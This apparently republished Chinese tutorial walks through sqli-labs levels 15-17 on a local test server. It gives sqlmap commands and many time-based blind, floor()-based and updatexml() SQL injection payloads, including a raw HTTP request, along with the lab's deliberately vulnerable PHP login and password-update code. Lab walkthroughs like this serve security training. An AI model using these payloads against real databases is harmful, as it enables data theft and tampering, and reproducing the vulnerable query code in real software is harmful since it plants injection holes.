首页 / MYSQL / 【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含16669字，纯文字阅读大概需要24分钟。

内容图文

【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

http://127.0.0.1/hacker/sqli-labs-master/Less-15/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST

2）手工注入
时间盲注放弃用手工了，这里的语句引用自SQLMAP中测试语句

User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>112,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>120,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111
User Name:111‘ AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>116,0,3)))))sIak) AND ‘MEep‘=‘MEepPassword:111

3）注入点产生代码

if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
    $uname=$_POST[‘uname‘];
    $passwd=$_POST[‘passwd‘];
    //logging the connection parameters to a file for analysis.
    $fp=fopen(‘result.txt‘,‘a‘);
    fwrite($fp,‘User Name:‘.$uname);
    fwrite($fp,‘Password:‘.$passwd."\n");
    fclose($fp);
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username=‘$uname‘ and password=‘$passwd‘ LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

Less-16- Blind- Time Based- Double quotes- String

1）工具用法：

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-16/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST --risk 3 --level 5

2）手工注入
时间盲注放弃用手工了，这里的语句引用自SQLMAP中测试语句

User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>102,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>101,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))!=101,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>98,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>99,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))!=99,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>118,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>117,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))!=117,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>113,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))!=114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>108,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>106,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>105,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))!=105,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))!=116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>124,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>122,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>121,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))!=121,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>32,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>16,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>8,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>4,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>2,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>1,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111

3）注入点产生代码

// take the variables
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
    $uname=$_POST[‘uname‘];
    $passwd=$_POST[‘passwd‘];
    //logging the connection parameters to a file for analysis.
    $fp=fopen(‘result.txt‘,‘a‘);
    fwrite($fp,‘User Name:‘.$uname."\n");
    fwrite($fp,‘Password:‘.$passwd."\n");
    fclose($fp);
    // connectivity
    $uname=‘"‘.$uname.‘"‘;
    $passwd=‘"‘.$passwd.‘"‘; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

Less-17 Update Query- Error based - String

1）工具用法：
经验总结：这里我是登录之后，才成功用SQLMAP注入成功。使用的账户与密码为：Dumb
有个不靠谱的地方，用update注入语句输入不慎重会不经意间修改其他正常用户密码数据；security库下的USER表中查看发现所有用户密码被更改为0。。。
【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】 - 文章图片
工具命令用法：

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-17/index.php" --data "uname=Dumb&passwd=Dumb&submit=Submit" --current-db --batch --threads 10

2）手工注入

经验：这关username加入了过滤函数实际注入点在passwd处；

两种报错注入方法，一种是利用floor报错语句，一种是使用updatexml()报错；

通过floor报错语句如下（SQLMAP中所使用的注入语句）：

User Name:‘Dumb‘
New Password:Dumb‘ AND (SELECT 8824 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(语句),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘noKL‘=‘noKL

使用updatexml()，手工注入语句如下：

POST /hacker/sqli-labs-master/Less-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
uname=admin1&passwd=‘ and updatexml(1,concat(0x7e,(select database())),1)#&submit=Submit

3）注入点产生代码

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "‘" . mysql_real_escape_string($value) . "‘";
            }
    else
        {
        $value = intval($value);
        }
    return $value;
    }
// take the variables
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
//making sure uname is not injectable
$uname=check_input($_POST[‘uname‘]);  
$passwd=$_POST[‘passwd‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘User Name:‘.$uname."\n");
fwrite($fp,‘New Password:‘.$passwd."\n");
fclose($fp);
// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
        //echo ‘<font color= "#0000ff">‘;   
        $row1 = $row[‘username‘];     
        //echo ‘Your Login name:‘. $row1;
        $update="UPDATE users SET password = ‘$passwd‘ WHERE username=‘$row1‘";
        mysql_query($update);
        echo "<br>";

【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

标签：

本文系统来源：http://www.cnblogs.com/17bdw/p/5558045.html

内容总结

以上是互联网集市为您收集整理的【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】全部内容，希望文章能够帮你解决【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/464516.html

来源：【匿名】

【上一篇】mysql 主从复制配置详解【下一篇】用IE远程创建Mysql数据库的简易程序

更多 ►

【【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】】教程文章相关的互联网学习教程文章

MySQL 入门教程【代码】【图】

（转自：http://www.cnblogs.com/mr-wid/archive/2013/05/09/3068229.html#c1）目录一、MySQL的相关概念介绍二、Windows下MySQL的配置配置步骤MySQL服务的启动、停止与卸载三、MySQL脚本的基本组成四、MySQL中的数据类型五、使用MySQL数据库登录到MySQL创建一个数据库选择所要操作的数据库创建数据库表六、操作MySQL数据库向表中插入数据查询表中的数据更新表中的数据删除表中的数据七、创建后的修改添加列修改列删除列重命名表删除...

MySQL入门详解(二)【代码】

MySQL事务MySQL 事务主要用于处理操作量大，复杂度高的数据。比如说，在一个商城系统中，用户执行购买操作，那么用户订单中应该加一条，库存要减一条，如果这两步由于意外只进行了其中一步那么就会发生很大的问题。而事务可以很好的解决这个问题。事务是数据库处理操作，其中执行就好像它是一个单一的一组有序的工作单元。换言之在组内每个单独的操作是成功的，那么一个事务才是完整的。如果事务中的任何操作失败，整个事务将失败。...

MySQL入门【代码】【图】

SQL零基础，今天入门MySQL 首先，以前都是念“买SQL”，查了下，原来大家都不这么念。。大声跟我念一遍“买赛扣”！下载1、MySQL官网下载comunity server版本　只发现了ZIP格式的文件，下载下来需要配置，才能用。2、直接安装msi包　这个方法比较简单，不需要配置，有个网盘里有资源，忘了，后面补上使用MySQL Workbench 在windows 已安装软件中有启动快捷方式的比起传统的命令行窗口操作，显然是更加人性化了更多实用操作，慢...

MySQL数据库新特性之存储过程入门教程

MySQL数据库新特性之存储过程入门教程在MySQL 5中，终于引入了存储过程这一新特性，这将大大增强MYSQL的数据库处理能力。在本文中将指导读者快速掌握MySQL 5的存储过程的基本知识，带领用户入门。　　存储过程介绍　　存储过程是一组为了完成特定功能的SQL语句集，经编译后存储在数据库中。用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。存储过程可由应用程序通过一个调用来执行，而且允许用户声明变量...

学习mysql的笔记：mysql十大基本入门语句

学习mysql数据库，从最简单的十条入门语句开始。刚开始学习mysql，老师让我们用cmd控制台输入语句，而不是选择用工具输入，这是为了我们能够先熟悉mysql语句。首先要先进入mysql，语句为：mysql -hlocalhost -uroot -p 然后回车，输入密码。 C:\Users\Administrator>mysql -hlocalhost -uroot -p Enter password: ******成功进入的话会出现 Welcome to the MySQL monitor........等提示，这时你就可以操作了。第1条语...

JavaWeb之Mysql快速入门(十一)【代码】

MySql快速入门1. mysql简介Structured Query Language 结构化查询语言 SQL标准，由ANSI（美国标准学会，属于ISO的核心成员）进行管理和维护的。数据库厂商都支持该标准，并进行了扩展。扩展的部分，一般称之为方言。 SQL标准和方言：普通话和方言作用：与数据库进行交互常用数据库:Oracle/DB2/MySQL/SQL Server2. SQL语句的分类DDL：Data Definition Language数据定义语言 alert/create/drop DML：Data Manipulation Language 数...

关于ef+codefirst+mysql（入门）【代码】【图】

ef+mssql详细是许多.net程序员的标配。作为一个程序员当然不能只会mssql这一个数据库，今天简单聊聊ef+mysql。推荐新人阅读。　　1】首先创建一个mvc项目，如图：创建完毕之后再nuget中分别引用MySql.Data、MySql.Data.Entity、EntityFramework（注意MySql.Data、MySql.Data.Entity版本必须一致） 2】创建数据库连接1）在model文件夹下创建一个UserTs.cspublicclass UserTs{[Key]// idpublicstring id { get; set; }// 姓名public...

数据库学习之七：MySQL 客户端工具及SQL入门【代码】

七、MySQL 客户端工具及SQL入门1、课程大纲：mysql客户端命令介绍；mysql获取帮助的方法细讲；DDL语句之管理数据库；DDL语句之管理表与案例介绍；DML语句之管理表中的数据；SELECT 检索数据；2、mysql接口程序使用及SQL入门mysql客户端命令介绍： ? mysql： – 用于数据库连接管理 - 将用户SQL 语句发送到服务器 ? mysqladmin： – 命令行管理工具 ? mysqldump： – 备份数据库和表的内容- 用于管理数据库：命令接口自带命令DDL:数...

MySQL入门到全面精通 40讲小辉老师主讲视频教程完整版

课程名称: MySQL入门到全面精通 40讲小辉老师主讲视频教程课程简介: 课程目录：第1章MySQL概述MySQL系列培训-1第2章 MySQL 源码目录MySQL系列培训-2MySQL系列培训-3第3章 MySQL 安装MySQL系列培训-4MySQL系列培训-5第4章 MySQL 停止与启动MySQL系列培训-6MySQL系列培训-7MySQL系列培训-8第5章 MySQL 获得MYSQL帮助MySQL系列培训-9MySQL系列培训-10 第6章 MySQL 物理结构日志文件MySQL系列培训-11（错误日志）MySQL系列培训...

MySQL 入门（十二）—— MySQL内部函数【图】

丰富的函数可以简化用户的操作，让操作更加灵活，此外，由于函数的执行速度非常快，还可以提高MySQL的处理速度。前面介绍到的Select语句及其条件表达式，Insert、Update和Delete语句及其条件表达式都可以使用这些函数。 MySQL函数包括数学函数、字符串函数、日期和时间函数、条件判断函数、徐彤信息函数、加密函数、格式化函数等。下面将详细介绍这些函数的使用方法。1、数学函数数学函数主要用于处理数字，包括整型、浮点型等。...

【转】MYSQL入门学习之一：基本操作

转载地址：http://www.2cto.com/database/201212/173868.html1、登录数据库 www.2cto.com 命令：mysql -u username –p （mysql -h主机地址 -u用户名－p用户密码）描述：输入命令回车，即可输入密码了。密码验证通过即可进入数据库了。2、查看数据状态命令：show database; 描述：该命令会显示现存的所有数据库。3、建立与删除数据库命令：create database db; 描述：db可以替换为要建立数据库的名称。...

MySQL----MySQL数据库入门----第五章多表操作【代码】

5.1 外键　　比如说有两个数据表，分别是学生信息表student和年级表grade。在student表中有存储学生年级的字段gid（外键），在grade表也有存储学生年级的字段id（主键），student表和grade表之间通过学生年级建立关联，两者是主从关系。在这种关联关系中：　　①学生表student是引用表；------------------------------------------------->引用表是从表　　②年级表grade是被引用表；-------------------------------------------...

MYSQL - 技术教程分类

MySQL 教程 MySQL 安装 MySQL 管理 MySQL PHP 语法 MySQL 连接 MySQL 创建数据库 MySQL 删除数据库 MySQL 选择数据库 MySQL 数据类型 MySQL 创建数据表 MySQL 删除数据表 MySQL 插入数据 MySQL 查询数据 MySQL WHERE 子句 MySQL UPDATE 更新 MySQL DELETE 语句 MySQL LIKE 子句 MySQL UNION MySQL 排序 MySQL 分组 MySQL 连接的使用 MySQL NULL 值处理 MySQL 事务 MySQL ALTER命令 MySQL 索引 MySQL 临时表 MySQL 复制表 MySQL 元数据 MySQL 序列使用 MySQL 处理重复数据 MySQL 及 SQL 注入 MySQL 导出数据 MySQL 导入数据 MySQL 函数 MySQL 运算符 mysql 全部

MYSQL - 最热教程

